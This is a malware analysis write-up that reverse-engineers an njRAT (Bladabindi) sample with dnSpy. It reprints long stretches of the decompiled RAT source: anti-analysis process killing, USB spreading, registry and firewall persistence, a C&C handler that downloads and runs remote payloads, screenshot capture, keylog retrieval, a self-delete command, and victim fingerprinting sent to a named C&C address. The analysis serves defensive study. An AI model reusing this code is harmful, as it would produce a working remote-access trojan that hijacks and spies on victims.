Reverse engineering latest njRAT sample, also called Bladabindi and Njw0rm that was used by Danabot in the campaign using Poland as its target. Available at Any.Run.

Table of contents

  1. Table of contents
  2. Analysis
    1. Entrypoint
    2. Anti VM
    3. Persistance
    4. C&C Commands
    5. C&C Connection
      1. Information Gathering
      2. Hardware Information
      3. AV Detection
    6. Keylogger
    7. Variables
  3. IOCs

Analysis

As njRAT is built using .NET framework, we can use dnSpy to produce source code from the binary.

Entrypoint

Looking at the namespaces that dnSpy provided to us, we can start iterating through the classes to get better look at what this malware does.

using System;

namespace j
{
	public class A
	{
		public static void main()
		{
			OK.ko();
		}
	}
}

Anti VM

First class called A, is just a starting point for the further execution of malware. It’s purpose is just to call method ko from class OK.

public static void ko()
{
	bool anti_CH = OK.Anti_CH;
	if (anti_CH)
	{
		CsAntiProcess.Start();
	}

First thing that this function does is, based on Anti_CH variable, run a CsAntiProcess.Start() function. Altough in this sample, this check would fail as the Anti_CH is set to false, we can still look at what it does.

public class CsAntiProcess
	{
	public static void Handler(object sender, ElapsedEventArgs e)
	{
		foreach (Process process in Process.GetProcessesByName("procexp"))
		{
			ProjectData.EndApp();
		}
		foreach (Process process2 in Process.GetProcessesByName("SbieCtrl"))
		{
			ProjectData.EndApp();
		}
		foreach (Process process3 in Process.GetProcessesByName("SpyTheSpy"))
		{
			ProjectData.EndApp();
		}
		foreach (Process process4 in Process.GetProcessesByName("wireshark"))
		{
			ProjectData.EndApp();
		}
		foreach (Process process5 in Process.GetProcessesByName("apateDNS"))
		{
			ProjectData.EndApp();
		}
		foreach (Process process6 in Process.GetProcessesByName("IPBlocker"))
		{
			ProjectData.EndApp();
		}
		foreach (Process process7 in Process.GetProcessesByName("TiGeR-Firewall"))
		{
			ProjectData.EndApp();
		}
		foreach (Process process8 in Process.GetProcessesByName("smsniff"))
		{
			ProjectData.EndApp();
		}
		foreach (Process process9 in Process.GetProcessesByName("exeinfoPE"))
		{
			ProjectData.EndApp();
		}
		foreach (Process process10 in Process.GetProcessesByName("NetSnifferCs"))
		{
			ProjectData.EndApp();
		}
		foreach (Process process11 in Process.GetProcessesByName("Sandboxie Control"))
		{
			ProjectData.EndApp();
		}
		foreach (Process process12 in Process.GetProcessesByName("processhacker"))
		{
			ProjectData.EndApp();
		}
		foreach (Process process13 in Process.GetProcessesByName("dnSpy"))
		{
			ProjectData.EndApp();
		}
		foreach (Process process14 in Process.GetProcessesByName("CodeReflect"))
		{
			ProjectData.EndApp();
		}
		foreach (Process process15 in Process.GetProcessesByName("Reflector"))
		{
			ProjectData.EndApp();
		}
		foreach (Process process16 in Process.GetProcessesByName("ILSpy"))
		{
			ProjectData.EndApp();
		}
		foreach (Process process17 in Process.GetProcessesByName("VGAuthService"))
		{
			ProjectData.EndApp();
		}
		foreach (Process process18 in Process.GetProcessesByName("VBoxService"))
		{
			ProjectData.EndApp();
		}
	}

	public static void Start()
	{
		CsAntiProcess.Timer = new Timer(5.0);
		CsAntiProcess.Timer.Elapsed += CsAntiProcess.Handler;
		CsAntiProcess.Timer.Enabled = true;
	}

This code will check for any processes named by the arguments to GetProcessByName() function calls, and if there’s anything found, execution will stop with call to ProjectData.EndApp().

Persistance

Moving on back to the ko function, we have another comparision that will check if the USP_SP constant is true, which in this sample is set to False.

bool usb_SP = OK.USB_SP;
if (usb_SP)
{
	string str = MyProject.Computer.FileSystem.SpecialDirectories.ProgramFiles;
	string[] logicalDrives = Directory.GetLogicalDrives();
	foreach (string str in logicalDrives)
	{
		try
		{
			bool flag = !File.Exists(str + "Tools.exe");
			if (flag)
			{
				File.Copy(Assembly.GetExecutingAssembly().Location, str + "Tools.exe");
			}
		}
		catch (Exception ex)
		{
		}
	}
}

Function GetLogicalDrives() will return an array of all the logical drives typed as a string. After that, it will check if the file called Tools.exe exists in particular drive. If not, it will copy currently executed file to the one called Tools.exe.

Moving on in ko, we have another similar code fragment that checks for presence of any command line arguments passed to the program. If there’s something passed to it, other than null, malware will set registry value in HKEY_CURRENT_USER with name : value pair as di : !.

bool flag2 = Interaction.Command() != null;
if (flag2)
{
	try
	{
		OK.F.Registry.CurrentUser.SetValue("di", "!");
	}
	catch (Exception ex2)
	{
	}
	Thread.Sleep(5000);
}

Next step is to set the mutex with value 758009881b05a845ae7f237e1858da57,.If the creation of that mutex fails, program will stop executing.

bool flag3 = false;
OK.MT = new Mutex(true, OK.RG, ref flag3);
bool flag4 = !flag3;
if (flag4)
{
	ProjectData.EndApp();
}

After that set of checks, we have a call to INS() function.

	OK.INS();

Let’s firstly take a look at constants used in the first line of the function.

public static bool Idr = Conversions.ToBoolean("False");
public static FileInfo LO = new FileInfo(Assembly.GetEntryAssembly().Location);
public static string DR = "TEMP";
public static string EXE = "WindowsServices.exe";

Based on that information, we can suspect that flag variable will be true only if CompDir returns true.

public static void INS()
	{
		Thread.Sleep(1000);
		bool flag = OK.Idr && !OK.CompDir(OK.LO, new FileInfo(Interaction.Environ(OK.DR).ToLower() + "\\" + OK.EXE.ToLower()));

If that was correct, program will check for the file TEMP\WindowsServices.exe and if it exists, it will delete it. After that it will create a new file with same name, read everything from the currently executed file and write that to the newly created file.

if (flag)
{
	try
	{
		bool flag2 = File.Exists(Interaction.Environ(OK.DR) + "\\" + OK.EXE);
		if (flag2)
		{
			File.Delete(Interaction.Environ(OK.DR) + "\\" + OK.EXE);
		}
		FileStream fileStream = new FileStream(Interaction.Environ(OK.DR) + "\\" + OK.EXE, FileMode.CreateNew);
		byte[] array = File.ReadAllBytes(OK.LO.FullName);
		fileStream.Write(array, 0, array.Length);
		fileStream.Flush();
		fileStream.Close();
		OK.LO = new FileInfo(Interaction.Environ(OK.DR) + "\\" + OK.EXE);
		Process.Start(OK.LO.FullName);
		ProjectData.EndApp();
	}
	catch (Exception ex)
	{
		ProjectData.EndApp();
	}
}

Next it tries to set enviromental variable SEE_MASK_NOZONECHECKS to 1.

try
{
	Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1", EnvironmentVariableTarget.User);
}
catch (Exception ex2)
{
}

It also adds itself as an allowedprogram to the firewall using netsh.

try
{
	Interaction.Shell(string.Concat(new string[]
	{
		"netsh firewall add allowedprogram \"",
		OK.LO.FullName,
		"\" \"",
		OK.LO.Name,
		"\" ENABLE"
	}), AppWinStyle.Hide, true, 5000);
}
catch (Exception ex3)
{
}

Another check that will not execute because Iso variable is set to False. Otherwise it would add itself to Software\\Microsoft\\Windows\\CurrentVersion\\Run register.

bool isu = OK.Isu;
if (isu)
{
	try
	{
		OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");
	}
	catch (Exception ex4)
	{
	}
	try
	{
		OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");
	}
	catch (Exception ex5)
	{
	}
}

And it will try to copy itself into the startup folder, with an exception that the isF variable set to False.

	bool isF = OK.IsF;
	if (isF)
	{
		try
		{
			File.Copy(OK.LO.FullName, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + OK.RG + ".exe", true);
			OK.FS = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + OK.RG + ".exe", FileMode.Open);
		}
		catch (Exception ex6)
		{
		}
	}
}

With that last couple of actions, we finish execution in INS function.

Back to the KO. As Idr variable is set to False and flag5 is just a negation of that variable, this check will be correct and variables EXE and DR will be set to name of the currently run binary and directory where this binary is running. In other words, all of the previous code was made to set up the persistance, altough this case was configured to not to use it, just run the binary from where it was downloaded.

bool flag5 = !OK.Idr;
if (flag5)
{
	OK.EXE = OK.LO.Name;
	OK.DR = OK.LO.Directory.Name;
}

Now, suspecting that everything was set up by the malware, it creates a new thread that will execute function RC.

Thread thread = new Thread(new ThreadStart(OK.RC), 1);
thread.Start();

With that information let’s take a look at what RC function does.

public static void RC()
	{
		checked
		{
			for (;;)
			{
				OK.lastcap = "";
				bool flag = OK.C != null;
				if (flag)
				{
					long num = -1L;
					int num2 = 0;
					try
					{
						for (;;)
						{
							num2++;
							bool flag2 = num2 == 10;
							if (flag2)
							{
								num2 = 0;
								Thread.Sleep(1);
							}
							bool flag3 = !OK.Cn;
							if (flag3)
							{
								break;
							}
							bool flag4 = OK.C.Available < 1;
							if (flag4)
							{
								OK.C.Client.Poll(-1, SelectMode.SelectRead);
							}
							bool flag8;
							do
							{
								bool flag5 = OK.C.Available > 0;
								if (!flag5)
								{
									goto IL_22B;
								}
								bool flag6 = num == -1L;
								if (!flag6)
								{
									goto IL_144;
								}
								string text = "";
								for (;;)
								{
									int num3 = OK.C.GetStream().ReadByte();
									if (num3 == -1)
									{
										goto IL_C5;
									}
									if (num3 == 0)
									{
										break;
									}
									text += Conversions.ToString(Conversions.ToInteger(Strings.ChrW(num3).ToString()));
								}
								num = Conversions.ToLong(text);
								bool flag7 = num == 0L;
								if (flag7)
								{
									OK.Send("");
									num = -1L;
								}
								flag8 = (OK.C.Available <= 0);
							}
							while (!flag8);
							continue;
							IL_144:
							OK.b = new byte[OK.C.Available + 1 - 1 + 1];
							long num4 = num - OK.MeM.Length;
							bool flag9 = unchecked((long)OK.b.Length) > num4;
							if (flag9)
							{
								OK.b = new byte[(int)(num4 - 1L) + 1 - 1 + 1];
							}
							int count = OK.C.Client.Receive(OK.b, 0, OK.b.Length, SocketFlags.None);
							OK.MeM.Write(OK.b, 0, count);
							bool flag10 = OK.MeM.Length == num;
							if (flag10)
							{
								num = -1L;
								Thread thread = new Thread(new ParameterizedThreadStart(OK._Lambda__1), 1);
								thread.Start(OK.MeM.ToArray());
								thread.Join(100);
								OK.MeM.Dispose();
								OK.MeM = new MemoryStream();
							}

Let’s focus on the last lines of code, that will create a new thread with a _Lambda__1 function running.

private static void _Lambda__1(object a0)
{
	OK.Ind((byte[])a0);
}

C&C Commands

First thing that this function does is to get UTF-8 encoded string from bytes passed as an argument and split them by Y variable.

public static void Ind(byte[] b)
	{
		string[] array = Strings.Split(OK.BS(ref b), OK.Y, -1, CompareMethod.Binary);

After that operation, malware will take the first element from the produced array and compare it with the strings below. Only if it’s equal to rn, we move on in code.

checked
{
	try
	{
		string left = array[0];
		if (Operators.CompareString(left, "ll", false) != 0)
		{
			if (Operators.CompareString(left, "kl", false) != 0)
			{
				if (Operators.CompareString(left, "prof", false) != 0)
				{
					bool flag = Operators.CompareString(left, "rn", false) != 0;
					if (!flag)
					{

Now, based on the flag2 variable, we create a new ZIP of bytes built from argument b, it’s length and length of a message.

bool flag2 = array[2][0] == '\u001f';
byte[] bytes;
if (flag2)
{
	try
	{
		MemoryStream memoryStream = new MemoryStream();
		int length = (array[0] + OK.Y + array[1] + OK.Y).Length;
		memoryStream.Write(b, length, b.Length - length);
		bytes = OK.ZIP(memoryStream.ToArray());
		goto IL_248;
	}
	catch (Exception ex)
	{
		OK.Send("MSG" + OK.Y + "Execute ERROR");
		OK.Send("bla");
		return;
	}
}

After that we create a new WebClient that will download data from the third argument of that splitted data.

WebClient webClient = new WebClient();
try
{
	bytes = webClient.DownloadData(array[2]);
}
catch (Exception ex2)
{
	OK.Send("MSG" + OK.Y + "Download ERROR");
	OK.Send("bla");
	return;
}
IL_248:

After that, we save it with a name of a second element of array and execute it.

	OK.Send("bla");
	string text = Path.GetTempFileName() + "." + array[1];
	try
	{
		File.WriteAllBytes(text, bytes);
		Process.Start(text);
		OK.Send("MSG" + OK.Y + "Executed As " + new FileInfo(text).Name);
		return;
	}
	catch (Exception ex3)
	{
		Exception ex4 = ex3;
		OK.Send("MSG" + OK.Y + "Execute ERROR " + ex4.Message);
		return;
	}
}

Some late binding stuff.

if (Operators.CompareString(left, "inv", false) != 0)
{
	if (Operators.CompareString(left, "ret", false) != 0)
	{
		if (Operators.CompareString(left, "CAP", false) != 0)
		{
			if (Operators.CompareString(left, "un", false) != 0)
			{
				bool flag3 = Operators.CompareString(left, "up", false) != 0;
				if (flag3)
				{
					bool flag4 = Operators.CompareString(left, "Ex", false) == 0;
					if (flag4)
					{
						bool flag5 = OK.PLG == null;
						if (flag5)
						{
							OK.Send("PLG");
							int num = 0;
							while (!(OK.PLG != null | num == 20 | !OK.Cn))
							{
								num++;
								Thread.Sleep(1000);
							}
							bool flag6 = OK.PLG == null | !OK.Cn;
							if (flag6)
							{
								return;
							}
						}
						object[] array2 = new object[]
						{
							b
						};
						bool[] array3 = new bool[]
						{
							true
						};
						NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(OK.PLG), null, "ind", array2, null, null, true);
						bool flag7 = array3[0];
						if (flag7)
						{
							b = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValu[0])), typeof(byte[]));
						}
					}
					else
					{
						bool flag8 = Operators.CompareString(left, "PLG", false) == 0;
						if (flag8)
						{
							MemoryStream memoryStream2 = new MemoryStream();
							int length2 = (array[0] + OK.Y).Length;
							memoryStream2.Write(b, length2, b.Length - length2);
							OK.PLG = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(OK.Plugi(memoryStream2.ToArray()), "A")));
							NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(OK.PLG), null, "H", new object[]
							{
								OK.H
							}, null, null);
							NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(OK.PLG), null, "P", new object[]
							{
								OK.P
							}, null, null);
							NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(OK.PLG), null, "c", new object[]
							{
								OK.C
							}, null, null);
						}
					}
				}

Here we can see an update mechanism of njRat malware.

		else
		{
			byte[] bytes2 = null;
			bool flag9 = array[1][0] == '\u001f';
			if (flag9)
			{
				try
				{
					MemoryStream memoryStream3 = new MemoryStream();
					int length3 = (array[0] + OK.Y).Length;
					memoryStream3.Write(b, length3, b.Length - length3);
					bytes2 = OK.ZIP(memoryStream3.ToArray());
					goto IL_A62;
				}
				catch (Exception ex5)
				{
					OK.Send("MSG" + OK.Y + "Update ERROR");
					OK.Send("bla");
					return;
				}
			}
			WebClient webClient2 = new WebClient();
			try
			{
				bytes2 = webClient2.DownloadData(array[1]);
			}
			catch (Exception ex6)
			{
				OK.Send("MSG" + OK.Y + "Update ERROR");
				OK.Send("bla");
				return;
			}
			IL_A62:
			OK.Send("bla");
			string text2 = Path.GetTempFileName() + ".exe";
			try
			{
				OK.Send("MSG" + OK.Y + "Updating To " + new FileInfo(text2).Name);
				Thread.Sleep(2000);
				File.WriteAllBytes(text2, bytes2);
				Process.Start(text2, "..");
			}
			catch (Exception ex7)
			{
				Exception ex8 = ex7;
				OK.Send("MSG" + OK.Y + "Update ERROR " + ex8.Message);
				return;
			}
			OK.UNS();
		}
	}
	else
	{
		string left2 = array[1];
		if (Operators.CompareString(left2, "~", false) != 0)
		{
			if (Operators.CompareString(left2, "!", false) != 0)
			{
				if (Operators.CompareString(left2, "@", false) == 0)
				{
					OK.pr(0);
					Process.Start(OK.LO.FullName);
					ProjectData.EndApp();
				}
			}
			else
			{
				OK.pr(0);
				ProjectData.EndApp();
			}
		}
		else
		{
			OK.UNS();
		}
	}
}

Also, we can see that after an update, malware will do the call to UNS function which basically is just a reverse of what INS function does, deleting registers, downloaded files, removing itself from firewall, etc.

public static void UNS()
{
	string str = MyProject.Computer.FileSystem.SpecialDirectories.ProgramFiles;
	string[] logicalDrives = Directory.GetLogicalDrives();
	foreach (string str in logicalDrives)
	{
		try
		{
			bool flag = File.Exists(str + "Tools.exe");
			if (flag)
			{
				File.Delete(str + "Tools.exe");
			}
		}
		catch (Exception ex)
		{
		}
	}
	OK.pr(0);
	OK.Isu = false;
	try
	{
		OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).DeleteValue(OK.RG, false);
	}
	catch (Exception ex2)
	{
	}
	try
	{
		OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).DeleteValue(OK.RG, false);
	}
	catch (Exception ex3)
	{
	}
	try
	{
		Interaction.Shell("netsh firewall delete allowedprogram \"" + OK.LO.FullName + "\"", AppWinStyle.Hide, false, -1);
	}
	catch (Exception ex4)
	{
	}
	try
	{
		bool flag2 = OK.FS != null;
		if (flag2)
		{
			OK.FS.Dispose();
			File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + OK.RG + ".exe");
		}
	}
	catch (Exception ex5)
	{
	}
	try
	{
		OK.F.Registry.CurrentUser.OpenSubKey("Software", true).DeleteSubKey(OK.RG, false);
	}
	catch (Exception ex6)
	{
	}
	try
	{
		Interaction.Shell("cmd.exe /c ping 0 -n 2 & del \"" + OK.LO.FullName + "\"", AppWinStyle.Hide, false, -1);
	}
	catch (Exception ex7)
	{
	}
	ProjectData.EndApp();
}

Moving back to the Ind function, we can see an ability to create screenshots of user screen.

	else
	{
		Rectangle targetRect = Screen.PrimaryScreen.Bounds;
		Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, targetRect.Height, PixelFormat.Format16bppRgb555);
		Graphics graphics = Graphics.FromImage(bitmap);
		Size size = new Size(bitmap.Width, bitmap.Height);
		graphics.CopyFromScreen(0, 0, 0, 0, size, CopyPixelOperation.SourceCopy);
		try
		{
			size = new Size(32, 32);
			targetRect = new Rectangle(Cursor.Position, size);
			Cursors.Default.Draw(graphics, targetRect);
		}
		catch (Exception ex9)
		{
		}
		graphics.Dispose();
		Bitmap bitmap2 = new Bitmap(Conversions.ToInteger(array[1]), Conversions.ToInteger(array[2]));
		graphics = Graphics.FromImage(bitmap2);
		graphics.DrawImage(bitmap, 0, 0, bitmap2.Width, bitmap2.Height);
		graphics.Dispose();
		MemoryStream memoryStream4 = new MemoryStream();
		string text3 = "CAP" + OK.Y;
		b = OK.SB(ref text3);
		memoryStream4.Write(b, 0, b.Length);
		MemoryStream memoryStream5 = new MemoryStream();
		bitmap2.Save(memoryStream5, ImageFormat.Jpeg);
		string left3 = OK.md5(memoryStream5.ToArray());
		bool flag10 = Operators.CompareString(left3, OK.lastcap, false) != 0;
		if (flag10)
		{
			OK.lastcap = left3;
			memoryStream4.Write(memoryStream5.ToArray(), 0, (int)memoryStream5.Length);
		}
		else
		{
			memoryStream4.WriteByte(0);
		}
		OK.Sendb(memoryStream4.ToArray());
		memoryStream4.Dispose();
		memoryStream5.Dispose();
		bitmap.Dispose();
		bitmap2.Dispose();
	}
}

Moving on, there’s nothing more any particular interest in the rest of function so let’s just leave it here.

									else
									{
										byte[] array4 = (byte[])OK.GTV(array[1], new byte[0]);
										bool flag11 = array[2].Length < 10 & array4.Length == 0;
										if (flag11)
										{
											OK.Send(string.Concat(new string[]
											{
												"pl",
												OK.Y,
												array[1],
												OK.Y,
												Conversions.ToString(1)
											}));
										}
										else
										{
											bool flag12 = array[2].Length > 10;
											if (flag12)
											{
												MemoryStream memoryStream6 = new MemoryStream();
												int length4 = (array[0] + OK.Y + array[1] + OK.Y).Length;
												memoryStream6.Write(b, length4, b.Length - length4);
												array4 = OK.ZIP(memoryStream6.ToArray());
												OK.STV(array[1], array4, RegistryValueKind.Binary);
											}
											OK.Send(string.Concat(new string[]
											{
												"pl",
												OK.Y,
												array[1],
												OK.Y,
												Conversions.ToString(0)
											}));
											object objectValue = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(OK.Plugin(array4, "A")));
											string[] array5 = new string[5];
											array5[0] = "ret";
											array5[1] = OK.Y;
											array5[2] = array[1];
											array5[3] = OK.Y;
											int num2 = 4;
											string text3 = Conversions.ToString(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(objectValue), null, "GT", new object[0], null, null, null)));
											array5[num2] = OK.ENB(ref text3);
											OK.Send(string.Concat(array5));
										}
									}
								}
								else
								{
									byte[] array6 = (byte[])OK.GTV(array[1], new byte[0]);
									bool flag13 = array[3].Length < 10 & array6.Length == 0;
									if (flag13)
									{
										OK.Send(string.Concat(new string[]
										{
											"pl",
											OK.Y,
											array[1],
											OK.Y,
											Conversions.ToString(1)
										}));
									}
									else
									{
										bool flag14 = array[3].Length > 10;
										if (flag14)
										{
											MemoryStream memoryStream7 = new MemoryStream();
											int length5 = string.Concat(new string[]
											{
												array[0],
												OK.Y,
												array[1],
												OK.Y,
												array[2],
												OK.Y
											}).Length;
											memoryStream7.Write(b, length5, b.Length - length5);
											array6 = OK.ZIP(memoryStream7.ToArray());
											OK.STV(array[1], array6, RegistryValueKind.Binary);
										}
										OK.Send(string.Concat(new string[]
										{
											"pl",
											OK.Y,
											array[1],
											OK.Y,
											Conversions.ToString(0)
										}));
										object objectValue2 = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(OK.Plugin(array6, "A")));
										NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(objectValue2), null, "h", new object[]
										{
											OK.H
										}, null, null);
										NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(objectValue2), null, "p", new object[]
										{
											OK.P
										}, null, null);
										NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(objectValue2), null, "osk", new object[]
										{
											array[2]
										}, null, null);
										NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(objectValue2), null, "start", new object[0], null, null, null, true);
										while (!Conversions.ToBoolean(RuntimeHelpers.GetObjectValue(Operators.OrObject(!OK.Cn, RuntimeHelpers.GetObjectValue(Operators.CompareObjectEqual(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(objectValue2), null, "Off", new object[0], null, null, null)), true, false))))))
										{
											Thread.Sleep(1);
										}
										NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(objectValue2), null, "off", new object[]
										{
											true
										}, null, null);
									}
								}
							}
							else
							{
								string left4 = array[1];
								if (Operators.CompareString(left4, "~", false) != 0)
								{
									if (Operators.CompareString(left4, "!", false) != 0)
									{
										if (Operators.CompareString(left4, "@", false) == 0)
										{
											OK.DLV(array[2]);
										}
									}
									else
									{
										OK.STV(array[2], array[3], RegistryValueKind.String);
										OK.Send(Conversions.ToString(RuntimeHelpers.GetObjectValue(Operators.ConcatenateObject("getvalue" + OK.Y + array[1] + OK.Y, RuntimeHelpers.GetObjectValue(OK.GTV(array[1], ""))))));
									}
								}
								else
								{
									OK.STV(array[2], array[3], RegistryValueKind.String);
								}
							}
						}
						else
						{
							OK.Send("kl" + OK.Y + OK.ENB(ref OK.kq.Logs));
						}
					}
					else
					{
						OK.Cn = false;
					}
				}
				catch (Exception ex10)
				{
					Exception ex11 = ex10;
					bool flag15 = array.Length > 0 && (Operators.CompareString(array[0], "Ex", false) == 0 | Operators.CompareString(array[0], "PLG", false) == 0);
					if (flag15)
					{
						OK.PLG = null;
					}
					try
					{
						OK.Send(string.Concat(new string[]
						{
							"ER",
							OK.Y,
							array[0],
							OK.Y,
							ex11.Message
						}));
					}
					catch (Exception ex12)
					{
					}
				}
			}
		}

Back to te rc function.

						}
						IL_C5:
						IL_22B:;
					}
					catch (Exception ex)
					{
					}
				}
				bool flag12;
				do
				{
					IL_253:
					try
					{
						bool flag11 = OK.PLG != null;
						if (flag11)
						{
							NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(OK.PLG), null, "clear", new object[0], null, null, null, true);
							OK.PLG = null;
						}
					}
					catch (Exception ex2)
					{
					}
					OK.Cn = false;
					flag12 = !OK.connect();
				}
				while (flag12);
				OK.Cn = true;
				continue;
				goto IL_253;
			}
		}
	}

C&C Connection

In the last part of that code, there is a call to a function called connect. Looking at it, we can see that it will firstly try to connect to host specified in variable H at 23.106.160[.]131 with port used as a variable P set to 8888.

public static bool connect()
	{
		OK.Cn = false;
		Thread.Sleep(2000);
		FileInfo lo = OK.LO;
		object obj = lo;
		lock (obj)
		{
			try
			{
				bool flag = OK.C != null;
				if (flag)
				{
					try
					{
						OK.C.Close();
						OK.C = null;
					}
					catch (Exception ex)
					{
					}
				}
				try
				{
					OK.MeM.Dispose();
				}
				catch (Exception ex2)
				{
				}
			}
			catch (Exception ex3)
			{
			}
			try
			{
				OK.MeM = new MemoryStream();
				OK.C = new TcpClient();
				OK.C.ReceiveBufferSize = 204800;
				OK.C.SendBufferSize = 204800;
				OK.C.Client.SendTimeout = 10000;
				OK.C.Client.ReceiveTimeout = 10000;
				OK.C.Connect(OK.H, Conversions.ToInteger(OK.P));
				OK.Cn = true;
				OK.Send(OK.inf());

After setting up all the variables required to connect to remote server, we can see a first Send call that will send to the C&C server whatever inf function returns. Let’s take a look at it.

Information Gathering

public static string inf()
	{
		string text = "ll" + OK.Y;
		try
		{
			bool flag = Operators.ConditionalCompareObjectEqual(RuntimeHelpers.GetObjectValue(OK.GTV("vn", "")), "", false);

Firstly, it’s setting up a text variable consisting of ll concatenated with the Y262SUCZ4UJJ string located in variable Y. After that, we have comparision between a return value of GTV function and empty string. Let’s check what that function does.

It opens an HKEY_CURRENT_USER\Software\758009881b05a845ae7f237e1858da57 register and tries to get the value of vn, if it does not exist, empty string is returned.

	public static object GTV(string n, object ret)
	{
		object objectValue;
		try
		{
			objectValue = RuntimeHelpers.GetObjectValue(OK.F.Registry.CurrentUser.OpenSubKey("Software\\" + OK.RG).GetValue(n, RuntimeHelpers.GetObjectValu(RuntimeHelpers.GetObjectValue(ret))));
		}
		catch (Exception ex)
		{
			objectValue = RuntimeHelpers.GetObjectValue(ret);
		}
		return objectValue;
	}

Coming back from this, we can see that if that register value is not in the system, inf function will proceed with execution.

	if (flag)
	{
		string str = text;
		string text2 = OK.DEB(ref OK.VN) + "_" + OK.HWD();
		text = str + OK.ENB(ref text2) + OK.Y;
	}

Before further looking at what is being added to the text variable, let’s note that DEB is used to decode Base64 encoded strings while ENB encodes data in argument.

Firstly, constant VN, which is TXlCb3Q= is being decoded. Doing it manually results in string MyBot. After that we have an underscore character and result of HWD function.

Hardware information

Looking at HWD function, we can see that it calls GetVolumeInformation function and returns fourth argument which was passed as reference - number. Comparing this information with documentation, we’re sure that it returns the serial number of that volume.

public static string HWD()
{
	string result;
	try
	{
		string text = null;
		int num = 0;
		int num2 = 0;
		string text2 = null;
		string text3 = Interaction.Environ("SystemDrive") + "\\";
		int number;
		OK.GetVolumeInformation(ref text3, ref text, 0, ref number, ref num, ref num2, ref text2, 0);
		result = Conversion.Hex(number);
	}
	catch (Exception ex)
	{
		result = "ERR";
	}
	return result;
}

Continuing with inf function, we can see an else statement that, if entry in registry mentioned aboved exists, uses a value from that key instead of the one from variable.

		else
		{
			string str2 = text;
			string text3 = Conversions.ToString(RuntimeHelpers.GetObjectValue(OK.GTV("vn", "")));
			string text2 = OK.DEB(ref text3) + "_" + OK.HWD();
			text = str2 + OK.ENB(ref text2) + OK.Y;
		}
	}
	catch (Exception ex)
	{
		string str3 = text;
		string text2 = OK.HWD();
		text = str3 + OK.ENB(ref text2) + OK.Y;
	}

After that, we’re gathering another bunch of information from the system, such as machine name.

	try
	{
		text = text + Environment.MachineName + OK.Y;
	}
	catch (Exception ex2)
	{
		text = text + "??" + OK.Y;
	}

Username.

	try
	{
		text = text + Environment.UserName + OK.Y;
	}
	catch (Exception ex3)
	{
		text = text + "??" + OK.Y;
	}

Date of last write to the current file.

	try
	{
		text = text + OK.LO.LastWriteTime.Date.ToString("yy-MM-dd") + OK.Y;
	}
	catch (Exception ex4)
	{
		text = text + "??-??-??" + OK.Y;
	}

Full name of the operating system.

	text += OK.Y;
	try
	{
		text += OK.F.Info.OSFullName.Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "").Replace("™", "").Replace("  ", " ").Replace(Win", "Win");
	}
	catch (Exception ex5)
	{
		text += "??";
	}

Service pack version.

	text += "SP";
	try
	{
		string[] array = Strings.Split(Environment.OSVersion.ServicePack, " ", -1, CompareMethod.Binary);
		bool flag2 = array.Length == 1;
		if (flag2)
		{
			text += "0";
		}
		text += array[checked(array.Length - 1)];
	}
	catch (Exception ex6)
	{
		text += "0";
	}

Whether the system is on x64 or x86 architecture.

	try
	{
		bool flag3 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Contains("x86");
		if (flag3)
		{
			text = text + " x64" + OK.Y;
		}
		else
		{
			text = text + " x86" + OK.Y;
		}
	}
	catch (Exception ex7)
	{
		text += OK.Y;
	}

Moving on, we have a call to the Cam function.

	bool flag4 = OK.Cam();
	if (flag4)
	{
		text = text + "Yes" + OK.Y;
	}
	else
	{
		text = text + "No" + OK.Y;
	}

Using capGetDriverDescriptionA it will check for a version description of the capture driver.

public static bool Cam()
{
	checked
	{
		try
		{
			int num = 0;
			for (;;)
			{
				string text = null;
				short wDriver = (short)num;
				string text2 = Strings.Space(100);
				bool flag = OK.capGetDriverDescriptionA(wDriver, ref text2, 100, ref text, 100);
				if (flag)
				{
					break;
				}
				num++;
				if (num > 4)
				{
					goto Block_3;
				}
			}
			return true;
			Block_3:;
		}
		catch (Exception ex)
		{
		}
		return false;
	}
}

AV Detection

This part of code will look for installed antivirus solutions using GetAntiVirus function.

	text = string.Concat(new string[]
	{
		text,
		OK.GetAntiVirus(),
		OK.Y,
		OK.GetAntiVirus(),
		OK.Y,
		OK.GetAntiVirus(),
		OK.Y
	});

Looking at GetAntiVirus function, we can see that it uses WMI to query every field from AntiVirusProduct table.

public static string GetAntiVirus()
{
	string result;
	int num3;
	try
	{
		IL_02:
		int num = 1;
		object obj = "Select * From AntiVirusProduct";
		IL_0D:
		num = 2;
		object objectValue = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Interaction.GetObject("winmgmts:\\\\.\\root\\SecurityCenter2", null)));
		IL_28:
		num = 3;
		object[] array = new object[]
		{
			RuntimeHelpers.GetObjectValue(obj)
		};
		bool[] array2 = new bool[]
		{
			true
		};
		bool flag = array2[0];
		if (flag)
		{
